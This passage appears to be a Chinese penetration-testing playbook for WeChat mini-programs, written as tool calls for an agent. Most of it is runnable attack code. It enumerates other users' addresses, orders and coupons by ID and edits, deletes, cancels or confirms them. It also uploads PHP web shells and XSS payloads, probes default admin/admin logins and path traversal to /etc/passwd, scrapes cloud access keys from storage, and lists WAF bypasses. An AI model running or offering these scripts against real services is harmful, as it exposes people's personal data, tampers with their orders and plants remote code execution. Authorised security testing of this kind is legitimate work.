results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
他人 deliveryId → code:10000/200 → 🔴 越权修改他人订单收货人(严重!影响商品投递)
他人 deliveryId → 403/401 → ✅ 有归属验证
所有 deliveryId → code:0 → ⚠️ 接口存在但无数据(可能需要正确的 deliveryIds 格式)
Step 3:用自己的 addressId 枚举其他地址(IDOR 核心测试)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var myAddressId=<Step2获取的自己的ID>; // 如 42
// 枚举相邻 ID(前后各 10 个)
var testIds=[];
for(var i=Math.max(1,myAddressId-10);i<=myAddressId+10;i++) testIds.push(i);
testIds=[1,2,3,100,1000].concat(testIds); // 加入极值
var results=[];
var getPath='/api/app/user/address/get'; // 从 Step1 接口清单中取真实路径
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+getPath+'?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
hasData:!!(d&&Object.keys(d).length),
name:d&&(d.name||d.receiverName||''),
phone:d&&(d.phone||d.mobile||d.tel||''),
detail:d&&(d.detail||d.address||d.fullAddress||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
id=自己ID → code:200 有数据 → BASELINE(正常)
id=他人ID → code:200 + name/phone/detail 与自己不同 → 🔴 IDOR 确认
id=他人ID → code:200 + 空数据 {} → ⚠️ 服务端用 token 过滤(正常防御)
id=随机ID → code:403/401 → ✅ 有鉴权
Step 4:修改/删除他人地址(写越权,危害更大)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var targetId=<他人的addressId>; // 从Step3中找到的他人地址ID
var tests=[
// 修改越权
{label:'edit_other',method:'PUT',path:'/api/app/user/address/edit',
data:{id:targetId,name:'HACKED',phone:'13900000001',detail:'越权修改的地址'}},
// 设为默认(可能影响他人下单行为)
{label:'set_default',method:'PUT',path:'/api/app/user/address/default',
data:{id:targetId}},
// 删除越权
{label:'delete_other',method:'DELETE',path:'/api/app/user/address/delete?id='+targetId,
data:{}},
// POST 方式删除(部分接口用 POST)
{label:'delete_post',method:'POST',path:'/api/app/user/address/delete',
data:{id:targetId}},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{wx.request({
url:base+t.path,method:t.method,
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:t.data,
success:function(r){res({label:t.label,code:r.data&&r.data.code,
msg:r.data&&r.data.msg,preview:JSON.stringify(r.data).slice(0,200)})},
fail:function(e){res({label:t.label,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
edit_other code:200 → 🔴 越权修改他人地址(严重)
delete_other code:200 → 🔴 越权删除他人地址(严重)
set_default code:200 → 🔴 越权修改他人默认收货地址(影响订单投递)
所有操作返回 403/401 → ✅ 服务端验证地址归属
2.4.B 订单越权测试(v2.8 新增 — 不支付也能测越权)
核心原则:不需要实际支付,只需要提交订单(状态=待支付)拿到 orderId,再用该 ID 对其他订单做读取/取消/改价测试。资金类操作遵守红线:build_replay_plan 只生成计划,不实际发出支付请求。
Step 1:导航订单页采集真实接口
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/order/order'});return 'ok'})()")
// 也导航到订单详情(通常有 orderId 参数)
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/orderDetail/orderDetail?id=1'});return 'ok'})()")
// 收集真实订单 API 路径
analysis_ops(action="find_payment_and_order_surfaces")
→ 识别: trade/get-list, trade/get, trade/cancel, order/add, order/pay, cashier 等
→ 特别注意含 id/orderId/tradeId/no 参数的 GET/POST 接口
Step 2:提交测试订单(不支付,仅拿到 orderId)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
// 先获取可购买的商品列表(找一个最便宜的商品)
var prodR=await new Promise(res=>{wx.request({
url:base+'/api/app/product/get-list?pageNo=1&pageSize=5',method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){res(r.data&&r.data.data)},fail:function(e){res(null)}
})});
console.log('[PRODUCTS]'+JSON.stringify(prodR).slice(0,500));
// 尝试提交订单(只提交,不支付)
var orderPaths=[
'/api/app/trade/add',
'/api/app/order/add',
'/api/app/trade/create',
'/api/app/order/create',
'/api/app/trade/submit',
];
var results=[];
for(var p of orderPaths){
var r=await new Promise(res=>{wx.request({
url:base+p,method:'POST',
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:{
productId:prodR&&prodR.list&&prodR.list[0]&&prodR.list[0].id||1,
quantity:1,
addressId:1, // 使用Step1添加的地址ID
remark:'IDOR测试订单',
},
success:function(r){res({path:p,code:r.data&&r.data.code,
orderId:r.data&&r.data.data&&(r.data.data.id||r.data.data.orderId||r.data.data.tradeId||r.data.data.no),
preview:JSON.stringify(r.data).slice(0,400)})},
fail:function(e){res({path:p,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 记录成功的 orderId / tradeId(此时订单状态为待支付,不会实际扣款)
→ ⚠️ 红线:不发起支付请求,只记录 ID
Step 3:用自己的 orderId 读取/枚举他人订单(IDOR)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var myOrderId=<Step2获取的自己订单ID>; // 如 10086
// 枚举相邻 ID + 极值
var testIds=[1,2,3,100];
for(var i=Math.max(1,myOrderId-5);i<=myOrderId+5;i++) testIds.push(i);
var getPath='/api/app/trade/get'; // 从接口清单取真实路径,也试 order/get/orderDetail/get
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+getPath+'?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
hasData:!!(d&&Object.keys(d||{}).length),
userId:d&&(d.userId||d.buyerId||d.memberId||''),
amount:d&&(d.amount||d.totalPrice||d.payAmount||''),
status:d&&(d.status||d.tradeState||d.state||''),
phone:d&&(d.phone||d.receiverPhone||d.mobile||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
他人 orderId → code:200 + 不同 userId/phone/amount → 🔴 订单 IDOR(高危)
他人 orderId → code:200 + 空 data → ⚠️ 服务端按 token 过滤(正常)
任意 orderId → code:403/401 → ✅ 鉴权有效
⚠️ 订单数据中出现他人手机号/姓名 → 🔴 同时构成敏感数据泄露
Step 4:取消他人订单(写越权)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
var otherOrderId=<Step3中找到的他人订单ID>;
var tests=[
// 取消越权(不涉及资金,安全操作)
{label:'cancel_other',method:'POST',path:'/api/app/trade/cancel',data:{id:otherOrderId,reason:'测试'}},
{label:'cancel_other2',method:'POST',path:'/api/app/order/cancel',data:{orderId:otherOrderId}},
// 确认收货越权(伪造他人已收货)
{label:'confirm_other',method:'POST',path:'/api/app/trade/confirm',data:{id:otherOrderId}},
// 删除订单记录
{label:'delete_order',method:'POST',path:'/api/app/trade/delete',data:{id:otherOrderId}},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{wx.request({
url:base+t.path,method:t.method,
header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
data:t.data,
success:function(r){res({label:t.label,code:r.data&&r.data.code,msg:r.data&&r.data.msg})},
fail:function(e){res({label:t.label,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
cancel_other code:200 → 🔴 越权取消他人订单(严重)
confirm_other code:200 → 🔴 越权伪造他人收货(严重,可触发商家发货/结算)
delete_order code:200 → 🔴 越权删除他人订单记录(严重)
所有操作返回 403/401 → ✅ 服务端验证订单归属
Step 5:订单价格篡改测试(客户端提交金额时)
// ⚠️ 只生成计划,不实际发起支付。若订单提交接口含 price/amount 参数:
analysis_ops(action="build_replay_plan", request_id="<订单提交请求ID>")
→ 检查请求 body 中是否有 price/amount/totalFee/goodsPrice 等客户端可控价格参数
→ 若有 → 🔴 CRITICAL:客户端价格注入风险,1分钱买任意商品
→ 生成修改方案(price 改为 0.01)但 **不自动发送**
// 判断:服务端是否用 productId 重新查价
// 安全做法:服务端按 productId 查数据库价格,忽略客户端 price 参数
// 不安全做法:服务端直接用客户端传入的 price 字段
Step 6:优惠券/积分越权使用
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token=wx.getStorageSync('TOKEN');
var base='https://<API域名>';
// 获取自己的优惠券列表(找到 couponId)
var coupons=await new Promise(res=>{wx.request({
url:base+'/api/app/coupon/user/coupon/get-list?states=&pageNo=1&pageSize=10',
method:'GET',header:{token:token,platform:'mp-weixin'},
success:function(r){res(r.data&&r.data.data&&r.data.data.couponList||[])},
fail:function(e){res([])}
})});
console.log('[MY_COUPONS]'+JSON.stringify(coupons).slice(0,500));
// 枚举其他 couponId(相邻值)
var myCouponId=coupons[0]&&coupons[0].id;
if(!myCouponId) return '没有可用优惠券,跳过';
var testIds=[1,2,3,myCouponId-1,myCouponId,myCouponId+1,myCouponId+2];
var results=[];
for(var id of testIds){
var r=await new Promise(res=>{wx.request({
url:base+'/api/app/coupon/user/coupon/get?id='+id,method:'GET',
header:{token:token,platform:'mp-weixin'},
success:function(r){
var d=r.data&&r.data.data;
res({id:id,code:r.data&&r.data.code,
userId:d&&(d.userId||d.memberId||''),
discount:d&&(d.discount||d.discountAmount||d.value||''),
status:d&&(d.status||d.state||''),
preview:JSON.stringify(d).slice(0,300)});
},
fail:function(e){res({id:id,status:'fail'})}
})});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 他人 couponId → code:200 + 不同 userId → 🔴 优惠券 IDOR,可使用他人券
→ 下单时传入他人 couponId 且服务端不验证归属 → 🔴 免费薅券
2.5 其他风险面
analysis_ops(action="find_debug_admin_surfaces")
→ debug/admin/test/internal 路由
analysis_ops(action="find_sign_related_requests")
→ 含签名/时间戳/nonce 的接口(重放风险候选)
→ 对比同一接口多次请求的 sign 变化因子
2.5.A 上传点深度测试(v2.8 新增 — 不能只靠被动捕获)
// 在 Phase 0 hook_wx_request 之后立即注入,确保捕获所有后续上传
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
return orig.apply(this,arguments);
};
})()")
Step 1.5:从已捕获流量中查找上传 URL(Hook 未触发时的备用方案)
network_ops(action="get_all_requests")
// 方法二:从 DNS prefetch 推断上传域名和 bucket
// 导航到任意页面后,检查 page-frame.html 中的 dns-prefetch 标签
// 常见 OSS 相关 prefetch:
// lyanxue.oss-cn-hangzhou.aliyuncs.com → Aliyun OSS bucket = "lyanxue"
// zglyxoss.zmg.com.cn:8443 → 自定义 OSS 域名
// yljlb-oss.zmg.com.cn:9443 → 另一自定义 OSS
// 方法三:从网络请求 Host 头推断
// 真实上传请求特征:
// - Method: POST
// - Headers: token / Authorization(认证)
// - Body: formData 含 timestamp 字段
文件名格式注意:很多小程序使用时间戳作为文件名,格式为
{timestamp}.{ext},例如:
Step 2:主动导航上传页面(关键 — 按路由关键词逐一触发)
| 路由关键词 | 典型上传场景 |
|---|---|
person / user / account / myInfo |
用户头像上传 |
editInfo / profile / edit |
个人资料图片 |
publishMoments / post / release |
发帖多图 / 视频 |
zone / community / circle |
社区发布图片 |
activity/apply / applyList |
活动报名证件照 |
kyc / verify / identity / realName |
实名认证证件 |
feedback / complaint / report |
投诉截图 |
live / livePlayer |
直播封面/横幅 |
editDealerTrade / salesTradeList |
经销商合同图片 |
album / photo / cloudAlbum |
相册多图 |
product / goods / item |
商品图片(商家端) |
// 逐一导航触发,每个路由等待 2-3 秒后检查 console
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{wx.navigateTo({url:'/pages-sub/publishMoments/index'});return 'ok'})()")
// 等待后查收 Hook 日志
network_ops(action="get_all_requests")
Step 3:OSS 前端直签检测(CRITICAL 级别风险)
// 检查 Storage 中是否有 STS Token 或前端直签凭证
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
try{
var keys=wx.getStorageInfoSync().keys;
var r={};
keys.filter(k=>/sts|oss|cos|cred|bucket|region|endpoint|accessKey|secretKey|securityToken/i.test(k))
.forEach(k=>{try{r[k]=JSON.stringify(wx.getStorageSync(k)).slice(0,400)}catch(e){}});
return JSON.stringify(r);
}catch(e){return String(e)}
})()")
// 检查全局变量中是否有 OSS client 实例或配置
runtime_ops(action="runtime_eval_appservice",
expression="(()=>{
var hits={};
Object.keys(globalThis||{}).forEach(function(k){
try{
var v=globalThis[k];
var s=v&&typeof v==='object'?JSON.stringify(v):'';
if(s&&/accessKeyId|secretAccessKey|securityToken|bucket.*region|endpoint.*oss/i.test(s))
hits[k]=s.slice(0,400);
}catch(e){}
});
return JSON.stringify(hits);
})()")
→ 发现 accessKeyId + secretAccessKey + securityToken → 🔴 STS 前端直签泄露
→ 若 securityToken 存在但 expiration 已过期 → 🟡 已失效,但说明曾泄露
→ 发现 accessKeyId 无 securityToken(永久凭证)→ 🔴 CRITICAL,长期 AK/SK 硬编码
Step 4:文件类型绕过测试(对每个上传端点)
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var token='<当前token>';
var fs=wx.getFileSystemManager();
var base=wx.env.USER_DATA_PATH;
+'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n'
+'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n'
+'4 0 obj\n<< /Length 41 >>\nstream\nBT /F1 12 Tf 100 700 Td (Hello PDF) Tj ET\nendstream\nendobj\n'
+'5 0 obj\n<< /S /JavaScript /JS (app.alert(\'XSS\')) >>\nendobj\n'
+'xref\n0 6\n0000000000 65535 f\n0000000009 00000 n\n0000000076 00000 n\n'
+'0000000133 00000 n\n0000000220 00000 n\n0000000311 00000 n\n'
+'trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n385\n%%EOF';
var tests=[
// ─── PHP/后端执行类 ───
{label:'php_as_jpg', filename:'test.php', mime:'image/jpeg', content:'<?php phpinfo();?>'},
{label:'phtml', filename:'test.phtml', mime:'image/jpeg', content:'<?php system($_GET[\"c\"]);?>'},
{label:'gif_php', filename:'shell.gif', mime:'image/gif', content:'GIF89a<?php system($_GET[\"c\"]);?>'},
{label:'double_ext', filename:'img.php.jpg', mime:'image/jpeg', content:'<?php phpinfo();?>'},
// ─── 前端 XSS 类 ───
{label:'svg_xss', filename:'xss.svg', mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>'},
{label:'html_xss', filename:'xss.html', mime:'text/plain', content:'<script>alert(document.cookie)</script>'},
// 这意味着服务端只校验 Content-Type 不校验文件扩展名,或两者都不校验内容
{label:'svg_mime_bypass',filename:String(Date.now())+'.svg', mime:'image/jpeg', content:'<svg><script>alert(1)</script></svg>'},
{label:'html_mime_bypass',filename:String(Date.now())+'.html',mime:'image/jpeg',content:'<script>alert(document.cookie)</script>'},
// ─── 基线 ───
{label:'normal_jpg', filename:'normal.jpg', mime:'image/jpeg', content:'\\xff\\xd8\\xff\\xe0normal'},
];
var results=[];
for(var t of tests){
fs.writeFileSync(base+'/'+t.filename, t.content, 'utf8');
var r=await new Promise(res=>{
header:{token:token, platform:'mp-weixin'},
formData:{fileType:'image'},
success:function(r){
var fileUrl=''; try{fileUrl=JSON.parse(r.data).data.fileUrl||'';}catch(e){}
res({label:t.label,filename:t.filename,status:r.statusCode,fileUrl:fileUrl,resp:String(r.data).slice(0,300)});
},
fail:function(e){res({label:t.label,filename:t.filename,status:'fail',err:JSON.stringify(e)})}
});
});
results.push(r);
}
return JSON.stringify(results,null,2);
})()")
→ 判断标准:
上传成功(200) + URL 保留 .php/.phtml → 🔴 访问 URL?c=id 验证 RCE
上传成功 + 文件被重命名为 UUID.jpg → ✅ 重命名保护
上传成功 + .svg + URL 保留扩展名 → 🔴 浏览器 / web-view XSS
服务端返回「文件格式不支持」→ ✅ 白名单限制
| 场景 | 危害 | 条件 |
|---|---|---|
任何渠道将 PDF 链接嵌入 web-view |
🔴 HIGH — webview 调用系统 PDF 阅读器 | 需 webview 支持 PDF 预览 |
Step 5:上传后访问验证
// 对上传成功且 URL 保留危险扩展名的文件:
runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
var tests=[
{label:'php_rce', url:'<.php URL>?c=id'},
{label:'svg_xss', url:'<.svg URL>'},
];
var results=[];
for(var t of tests){
var r=await new Promise(res=>{
wx.request({url:t.url,method:'GET',
success:r=>res({label:t.label,status:r.statusCode,ct:r.header&&r.header['content-type'],body:JSON.stringify(r.data).slice(0,400)}),
fail:e=>res({label:t.label,status:'fail'})});
});
results.push(r);
}
// uid= / root: → 🔴 RCE
// <script> 回显 → 🔴 SVG XSS
// content-type: application/pdf → 🔴 确认 PDF 以正确类型投递,Acrobat 打开触发 JS
return JSON.stringify(results,null,2);
})()")
2.5.1 专项风险检测(v2.5 新增)
① JWT / Token 暴露在 URL 查询参数中
# 从接口清单中过滤 URL 含 token=eyJ / access_token= / jwt= 的请求
network_ops(action="get_all_requests")
→ 筛选 url.includes('token=eyJ') 或 query 字段含 token/jwt/access_token 键
→ 风险: token 出现在服务端日志 / Nginx access log / Referer 头 / 浏览器历史
→ 定级: MEDIUM(信息泄露)→ 若 token 可直接复用则升级为 HIGH
→ 建议: token 改为 Authorization 请求头传输
② 静态 / 固定 sign 值(不具备重放防护)
# 判断 sign 是否为固定字符串(非计算值)
analysis_ops(action="find_sign_related_requests")
→ 对同一接口的多次请求对比 sign 字段
→ 若 sign 值完全相同(如 sign=latestLecture_daka)→ 🔴 静态 sign,重放无阻碍
→ 若 sign 随 timestamp 变化 → 进一步检查 timestamp 窗口长度
→ 若多次请求 sign 不同但 nonce 相同 → 🔴 nonce 未一次性校验
③ 路径双斜杠异常(/path//endpoint)
# 在已采集请求中搜索双斜杠路径
network_ops(action="get_all_requests")
→ 筛选 url 含 '//' 且不是协议头 '://' 的请求
→ 风险: 部分服务器对 /path//endpoint 和 /path/endpoint 路由逻辑不同
可能绕过中间件认证(如 Spring Security / Nginx location 规则)
→ 测试: 同时发送标准路径和双斜杠路径,对比响应差异
④ enc 绑定模式识别(context-bound request signature)
# enc 参数特征: 32位 hex(MD5 长度),出现在多个不同接口的 query/body 中
# enc 绑定上下文,无法跨 session 复用(更换 token 则 enc 失效)
# 识别方式:
# 1. enc 出现在多个接口且长度固定(32位)
# 2. 更换 Authorization/auth-token → 相同 enc 返回"加密校验失败"
# 3. 清空/伪造 Authorization 但 enc 不变 → 仍返回"加密校验失败"
# 结论: enc 与 token 共同构成双因子请求签名,IDOR 测试需在同一 session 内完成
# 突破思路:
# → 优先从运行时 Storage 提取当前有效 token + enc(见场景 3)
# → 使用 hook_wx_request 捕获下一次真实请求中的完整 headers(含 enc 原值)
⑤ 多 appId 同属一个评估目标(不需要分开评估)
# 核心原则:同一 WeChat 会话中出现的多个 appId,均属同一小程序产品线(同一开发者),
# 共同构成评估目标。不同 appId 只是前端入口不同,后端 API 服务器通常共享。
# → 不需要为每个 appId 单独开展独立的 Phase 0-6 评估
# → 只需记录每个 appId 对应的认证机制,然后统一在当前 session 内测试所有接口
# Step 1: 识别所有 appId(从 Referer 头解析)
network_ops(action="get_all_requests")
→ 提取 request_headers.Referer
→ 正则匹配: servicewechat\.com\/([a-z0-9]{16,18})\/
→ 得到 appId 列表,如: [wx83e9ba48, wx5636748e, wxf19adc6d]
# Step 2: 确认同属一个产品(验证后端域名重叠)
# 若不同 appId 的请求指向相同 API 域名 → 确认同一产品生态,全部纳入范围
# 若后端域名完全不同 → 可能是不同业务,需向委托方确认授权范围
# Step 3: 按认证体系分类(而非按 appId 分类)
# 不要按 appId 建立分析筒仓,而是按认证类型建立统一的接口清单:
# Bearer JWT 系: /v2/userinfor/... + /v2/wechat/... (Authorization header)
# Token+Sign 系: /yin/applet/... (auth-token + Authen-Sign)
# Cookie 系: /api-zd-wap/... (Cookie header)
# enc 参数系: /wx/lecture/... + /cx/recommend/... (enc query param)
# Step 4: 统一执行 Phase 2 全套分析,覆盖所有认证系的接口
analysis_ops(action="get_api_inventory") → 不按 appId 过滤,全量分析
analysis_ops(action="find_idor_candidates") → 跨 appId 寻找 IDOR
analysis_ops(action="analyze_auth_surface") → 覆盖所有认证机制
⑥ Authen-Sign 复合签名头识别与分析(v2.6 新增)
# Authen-Sign 格式(常见于医疗/政务类小程序后端):
# {user-uuid},{timestamp-ms},{base64(md5_hash)},{platform}
# 示例: fa7a24fe-ba43-4636-84cf-87b22e77d025,1779600226434,Y2M2MDg1MT...,miniprogram
#
# 各段含义:
# Part 1 (UUID): 用户/设备标识(不随请求变化)
# Part 2 (timestamp): 毫秒时间戳(服务端验证时效窗口)
# Part 3 (base64): base64(MD5(something)) — 完整性 hash,32字节
# Part 4 (platform): 固定字符串 "miniprogram" / "h5" / "web"
#
# 安全评估要点:
# 1. 时效窗口: 对比两次请求的 timestamp 差值 → 若超过 5 分钟仍有效 → 重放窗口过长
# 2. Part3 hash 算法: 用 decrypt_ops(action="decode_base64") 解码后看是否为 32 位 hex
# → 若是 MD5 格式,尝试碰撞: MD5(uuid), MD5(uuid+timestamp), MD5(token) 等
# 3. UUID 是否与 uid 相关: 若 UUID = MD5(uid) 或 UUID 可通过 uid 推算 → IDOR 风险
# 4. 测试无 Authen-Sign 时的响应: 若返回 500 而非 401/403 → 服务端存在错误处理缺陷
# 捕获真实 Authen-Sign(用于重放测试):
network_ops(action="hook_wx_request")
→ 触发下一次包含 Authen-Sign 的请求
→ network_ops(action="get_all_requests") 获取最新请求的完整 headers
→ 提取 Authen-Sign 原值,在时效窗口内重用于 IDOR 测试
2.6 接口参数 Fuzz 建议
analysis_ops(action="passive_param_fuzz_suggestions", request_id="<id>")
→ 按参数类型生成 Fuzz 建议(只建议,不自动发送):
├─ 数字参数 → 负数/零/极大值/浮点数/字符串
├─ 字符串参数 → XSS payload/SQL 注入探测/路径遍历
├─ 枚举参数 → 越界值/空值/null
└─ JSON body → 类型混淆/原型污染探测
2.7 重放与对比
analysis_ops(action="build_replay_plan", request_id="<id>")
→ 生成人工重放测试计划(只生成,不自动发送)
# 签名重放验证:
analysis_ops(action="compare_two_requests", request_id_a="<同一接口请求1>", request_id_b="<同一接口请求2>")
→ 对比 sign/timestamp/nonce 的差异和绑定关系
→ 判断: 签名是否绑定请求体?timestamp 窗口多长?nonce 是否一次性?
2.8 HTTP 响应码行为变化检测(v2.7 新增)
核心思路:通过向已知敏感端点(传统登录接口、文件上传端点、CVE 路径)发送探测请求,根据 HTTP 响应码组合推断安全策略演进和架构迁移,在深入逆向前先建立完整行为地图。
HTTP 响应码行为变化矩阵:
├─ 默认口令登录尝试 → 404 ← 认证已迁移至 OAuth2/OIDC,原端点下线
├─ 文件上传接口探测 → 404 ← 功能下线或路径迁移
├─ 路径遍历 CVE 探针 → 404 ← 漏洞已修补(路径不存在)
│ → WAF 418 ← WAF 主动拦截(商业 WAF 特征码)
└─ 带路由参数端点 → HTTP 200 ← REST 路由存活,行为变化(IDOR 高价值面)
① 认证机制迁移探测(传统登录 → OAuth2)
# Step 1: 批量探测传统登录端点存活性
runtime_ops(action="runtime_eval", expression="(async ()=>{
var paths=[
'/login','/api/login','/api/auth/login','/api/user/login',
'/api/v1/login','/api/v2/login','/auth/login','/user/login',
'/api/token','/oauth/token','/api/signin','/api/users/login'
];
var results=[];
for(var p of paths){
var r=await fetch(p,{method:'POST',
headers:{'Content-Type':'application/json'},
body:JSON.stringify({username:'admin',password:'admin'})});
results.push({path:p,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
| 状态码 | 含义 | 后续操作 |
|---|---|---|
| 404 | 端点下线 → 认证已迁移 | 执行步骤 2 发现 OAuth2 端点 |
| 302 → /oauth/ | OAuth2 迁移确认 | 分析授权流程,测试 redirect_uri 绕过 |
| 401 / 400 | 端点存活,凭据验证失败 | 进行弱口令 / 默认口令测试 |
| 200 + token 字段 | 🔴 弱口令命中 | 提取 token,测试越权 |
| 429 | 速率限制生效 | ✅ 防暴力破解有效;记录限制强度 |
# Step 2: OAuth2 / SSO 端点发现(传统登录返回 404 后执行)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var oauthPaths=[
'/.well-known/openid-configuration',
'/oauth/authorize','/oauth/token','/connect/token',
'/sso/login','/cas/login','/saml/login',
'/api/oauth2/token','/auth/oauth/token'
];
var results=[];
for(var p of oauthPaths){
var r=await fetch(p);
if(r.status!==404) results.push({path:p,status:r.status});
}
return JSON.stringify(results,null,2);
})()")
⚠️ 迁移盲区:旧端点 404 不等于认证完全安全。检查:1) Storage 中是否存有旧 token;2) 旧 API 版本(/v1/ vs /v2/)是否同步迁移;3) refresh_token 接口是否仍接受旧格式凭据。
② 文件上传接口存活检测
# GET + POST 双探文件上传端点
runtime_ops(action="runtime_eval", expression="(async ()=>{
'/avatar','/api/avatar','/import','/api/import',
'/attach','/api/attach'
];
var token='<当前token>';
var results=[];
var g=await fetch(path,{method:'GET',
headers:{'Authorization':'Bearer '+token}});
var fd=new FormData();
fd.append('file',new Blob(['test'],{type:'text/plain'}),'test.txt');
var p=await fetch(path,{method:'POST',
headers:{'Authorization':'Bearer '+token},body:fd});
if(g.status!==404||p.status!==404)
results.push({path:path,GET:g.status,POST:p.status});
}
return JSON.stringify(results,null,2);
})()")
| GET | POST | 含义 | 后续操作 |
|---|---|---|---|
| 404 | 404 | 端点完全下线 | 跳过;检查流量中是否有云 OSS 直传签名请求 |
| 404 | 200/400 | 仅接受 POST | 进行文件上传漏洞测试 |
| 405 | 200/400 | 端点存活,GET 不被允许 | 进行文件上传漏洞测试 |
| 401/403 | 401/403 | 需要认证 | 带有效 token 重测 |
| 200/201 | 200/201 | 端点存活 | 测试扩展名 / Content-Type / Magic Bytes 三层绕过 |
发现存活上传端点后,按以下优先级测试:
.php/.phar/.php5扩展名 → Content-Type 伪造(image/gif)→ Magic Bytes 文件头(GIF89a<?php system($_GET['cmd']); ?>)→ 双扩展名(shell.php.gif)→ 上传成功后访问文件路径确认是否可执行。
③ 路径遍历 CVE 探针与 WAF 指纹识别
# 路径遍历 CVE 探针(含 WAF 418 检测)
runtime_ops(action="runtime_eval", expression="(async ()=>{
var probes=[
{label:'basic_lfi', path:'/../../../etc/passwd'},
{label:'encoded_lfi', path:'/%2e%2e/%2e%2e/etc/passwd'},
{label:'double_encoded', path:'/%252e%252e/%252e%252e/etc/passwd'},
{label:'null_byte', path:'/../../../etc/passwd%00.jpg'},
{label:'semicolon_spring', path:'/static/..;/WEB-INF/web.xml'},
{label:'actuator_env', path:'/actuator/env'},
{label:'actuator_heap', path:'/actuator/heapdump'},
{label:'double_slash', path:'//etc//passwd'},
{label:'windows_ini', path:'/../../../windows/win.ini'},
{label:'dot_segment', path:'/./etc/passwd'},
];
var results=[];
for(var p of probes){
var r=await fetch(p.path,{method:'GET'});
var hdrs={};
for(var [k,v] of r.headers) hdrs[k]=v;
results.push({
label:p.label,status:r.status,
wafHint:hdrs['server']||hdrs['x-protected-by']||hdrs['cf-ray']||'',
preview:(await r.text()).slice(0,150)
});
}
return JSON.stringify(results,null,2);
})()")
| 状态码 | 含义 | 后续操作 |
|---|---|---|
200 + root:x:0:0 或文件内容 |
🔴 路径遍历确认 | 枚举 /etc/shadow、.env、SSH 私钥 |
| 200 + 空/JSON 响应 | 路径被规范化,无漏洞 | 记录为已防御 |
| 404 | 已修补 或 WAF 统一返回 404 | 尝试双重编码变体(%252e) |
| 403 | ACL 或 WAF 拦截 | 测试路径操纵绕过(..;/、%2e%2e/) |
| 418 | 🔴 WAF 主动拦截(商业 WAF 特征码) | 识别 WAF 厂商,执行绕过流程 |
| 406 | WAF 拦截(ModSecurity 常见) | 尝试 chunked 传输绕过 |
WAF 指纹速查(418 响应时读取响应头 / Body):
响应特征 → WAF 厂商 → 主要绕过策略
Server: cloudflare + cf-ray 头 → Cloudflare → chunked + 路径操纵
X-Sucuri-ID 头 → Sucuri WAF → 大小写 + 空格替代
响应体含 ModSecurity / NOYB → ModSecurity → 参数污染 HPP + 多行注释
响应体含 安全狗 / safedog.cn → 安全狗 → 双重 URL 编码
响应体含 宝塔 / bt.cn → 宝塔 WAF → chunked 分段传输
响应体含 yunsuo / 云锁 → 云锁 → Unicode 全角编码
阿里云拦截页 / 阿里云盾特征 → 阿里云盾 → 参数位置变换 + HPP
⚠️ WAF 统一返回 404 时不能排除漏洞存在:尝试双重 URL 编码(
%252e%252e%252f)或路径参数注入(/app;foo=bar/../../../etc/passwd),绕过 WAF 的路径匹配规则后观察后端响应。Spring Actuator 端点(/actuator/env、/actuator/heapdump)无需路径穿越即可泄露配置和内存 dump,优先检测。
④ 带路由参数的服务端点发现(行为变化)
# REST 风格路由参数枚举——发现行为变化端点
runtime_ops(action="runtime_eval", expression="(async ()=>{
var token='<当前有效token>';
var resources=['users','orders','products','items','accounts',
'members','profiles','records','projects','articles'];
var testIds=[1,2,3,100,'me','current',0,'undefined'];
var results=[];
for(var res of resources){
for(var id of testIds.slice(0,4)){
var r=await fetch('/api/'+res+'/'+id,{method:'GET',
headers:{'Authorization':'Bearer '+token}});
var body='';
if(r.status===200) body=(await r.text()).slice(0,300);
